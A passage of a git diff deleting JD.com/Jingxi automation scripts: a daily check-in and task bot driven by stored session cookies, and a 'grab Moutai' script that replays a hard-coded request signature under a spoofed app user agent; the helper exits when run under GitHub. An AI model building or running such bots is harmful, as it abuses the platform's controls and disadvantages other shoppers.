Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_jx_sign.js b/backUp/jd_jx_sign.js deleted file mode 100644 index 7716d5a..0000000 --- a/backUp/jd_jx_sign.js +++ /dev/null @@ -1,301 +0,0 @@ -/* - -5 0 * * * jd_jx_sign.js - -*/ -const $ = new Env('京喜签到'); -const notify = $.isNode() ? require('../sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -let helpAuthor = true -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://m.jingxi.com/'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - $.newShareCodes = [] - // await getAuthorShareCode(); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdCash() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jdCash() { - $.coins = 0 - $.money = 0 - await sign() - await getTaskList() - await doubleSign() - await showMsg() -} -function sign() { - return new Promise((resolve) => { - $.get(taskUrl("pgcenter/sign/UserSignOpr"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.retCode ===0){ - if(data.data.signStatus===0){ - console.log(`签到成功,获得${data.data.pingoujin}金币,已签到${data.data.signDays}天`) - $.coins += parseInt(data.data.pingoujin) - }else{ - console.log(`今日已签到`) - } - }else{ - console.log(`签到失败,错误信息${data.errMsg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getTaskList() { - return new Promise((resolve) => { - $.get(taskUrl("pgcenter/task/QueryPgTaskCfgByType","taskType=3"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.retCode ===0){ - for (task of data.data.tasks) { - if(task.taskState===1){ - console.log(`去做${task.taskName}任务`) - await doTask(task.taskId); - await $.wait(1000) - await finishTask(task.taskId); - await $.wait(1000) - } - } - }else{ - console.log(`签到失败,错误信息${data.errMsg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function doTask(id) { - return new Promise((resolve) => { - $.get(taskUrl("pgcenter/task/drawUserTask",`taskid=${id}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.retCode ===0){ - console.log(`任务领取成功`) - }else{ - console.log(`任务完成失败,错误信息${data.errMsg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function finishTask(id) { - return new Promise((resolve) => { - $.get(taskUrl("pgcenter/task/UserTaskFinish",`taskid=${id}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.retCode ===0){ - console.log(`任务完成成功,获得金币${data.datas[0]['pingouJin']}`) - $.coins += data.datas[0]['pingouJin'] - }else{ - console.log(`任务完成失败,错误信息${data.errMsg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function doubleSign() { - return new Promise((resolve) => { - $.get(taskUrl("double_sign/IssueReward",), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.retCode ===0){ - console.log(`双签成功,获得金币${data.data.jd_amount / 100}元`) - $.money += data.data.jd_amount / 100 - }else{ - console.log(`任务完成失败,错误信息${data.errMsg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function showMsg() { - message+=`本次运行获得金币${$.coins},现金${$.money}` - return new Promise(resolve => { - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} - -function taskUrl(functionId, body = '') { - return { - url: `${JD_API_HOST}${functionId}?sceneval=2&g_login_type=1&g_ty=ls&${body}`, - headers: { - 'Cookie': cookie, - 'Host': 'm.jingxi.com', - 'Connection': 'keep-alive', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Referer': 'https://jddx.jd.com/m/jddnew/money/index.html', - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_jxgc.js b/backUp/jd_jxgc.js deleted file mode 100644 index 72fc88e..0000000 --- a/backUp/jd_jxgc.js +++ /dev/null @@ -1,239 +0,0 @@ -/* -#自定义商品变量 -export shopid="1598" ##你要商品ID 冰箱 -export shopid1="1607" ##你要商品ID 茅台 -0 18,19 * * * jd_jxgc.js -*/ -const $ = new Env('柠檬惊喜工厂抢茅台'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -shopid="" // ##你要商品ID 茅台 -shopid1="" //##你要商品ID 冰箱 - -if (process.env.shopid) { - shopid = process.env.shopid; -} - -if (process.env.shopid1) { - shopid1 = process.env.shopid1; -} -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - - await list() - await list1() - - - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -function list() { - return new Promise(async (resolve) => { - - let options = { - url: `https://m.jingxi.com//dreamfactory/userinfo/AddProduction?zone=dream_factory&factoryId=1099554520843&deviceId=1099554520844&commodityDimId=${shopid}&replaceProductionId=&_time=1623146403538&_stk=_time%2CcommodityDimId%2CdeviceId%2CfactoryId%2CreplaceProductionId%2Czone&_ste=1&h5st=20210608180003579%3B6987023816710162%3B10001%3Btk01wb98b1baea8nNmdTeHBoaEIyyVt8MwWYitL210lOXs66ovEkPI%2BwUC5jAypABgM%2F76EgUhE0cmmxqg6RQDK06%2FWV%3Be4127f4722141f14e44078fde821d9d5e68b71ca248715dfc44442443612dfcb&_=1623146403580&sceneval=2&g_login_type=1&callback=jsonpCBKQQQQ&g_ty=ls`, - - // body: `functionId=HomeZeroBuy&body={"pageNum":1,"channel":"speed_app"}&appid=megatron&client=megatron&clientVersion=1.0.0`, -headers: { -"X-Requested-With": "com.jd.pingou", - -"Referer": "https://st.jingxi.com/pingou/dream_factory/index.html?sceneval=2&ptag=7155.9.46", -"Host": "m.jingxi.com", - "User-Agent": "jdpingou;android;4.9.0;10;7049442d7e415232;network/UNKNOWN;model/PCAM00;appBuild/16879;partner/oppo01;;session/10;aid/7049442d7e415232;oaid/;pap/JA2019_3111789;brand/OPPO;eu/7303439343432346;fv/7356431353233323;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.92 Mobile Safari/537.36", - "Cookie": cookie, - } - } - - $.get(options, async (err, resp, data) => { - try { - -$.log("冰箱:"+data) - - //} - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function list1() { - return new Promise(async (resolve) => { - - let options = { - url: `https://m.jingxi.com//dreamfactory/userinfo/AddProduction?zone=dream_factory&factoryId=1099554520843&deviceId=1099554520844&commodityDimId=${shopid1}&replaceProductionId=&_time=1623146403538&_stk=_time%2CcommodityDimId%2CdeviceId%2CfactoryId%2CreplaceProductionId%2Czone&_ste=1&h5st=20210608180003579%3B6987023816710162%3B10001%3Btk01wb98b1baea8nNmdTeHBoaEIyyVt8MwWYitL210lOXs66ovEkPI%2BwUC5jAypABgM%2F76EgUhE0cmmxqg6RQDK06%2FWV%3Be4127f4722141f14e44078fde821d9d5e68b71ca248715dfc44442443612dfcb&_=1623146403580&sceneval=2&g_login_type=1&callback=jsonpCBKQQQQ&g_ty=ls`, - - // body: `functionId=HomeZeroBuy&body={"pageNum":1,"channel":"speed_app"}&appid=megatron&client=megatron&clientVersion=1.0.0`, -headers: { -"X-Requested-With": "com.jd.pingou", - -"Referer": "https://st.jingxi.com/pingou/dream_factory/index.html?sceneval=2&ptag=7155.9.46", -"Host": "m.jingxi.com", - "User-Agent": "jdpingou;android;4.9.0;10;7049442d7e415232;network/UNKNOWN;model/PCAM00;appBuild/16879;partner/oppo01;;session/10;aid/7049442d7e415232;oaid/;pap/JA2019_3111789;brand/OPPO;eu/7303439343432346;fv/7356431353233323;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.92 Mobile Safari/537.36", - "Cookie": cookie, - } - } - - $.get(options, async (err, resp, data) => { - try { - -$.log("茅台:"+data) - - //} - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - - - - - - - - - - - - - - - - - -async function taskPostUrl(functionId,body) { - return { - url: `${JD_API_HOST}`, - body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=content_ecology&uuid=6898c30638c55142969304c8e2167997fa59eb54&t=1622588448365`, - headers: { - 'Cookie': cookie, - 'Host': 'api.m.jd.com', - 'Connection': 'keep-alive', - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - } - } -} - - -async function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": 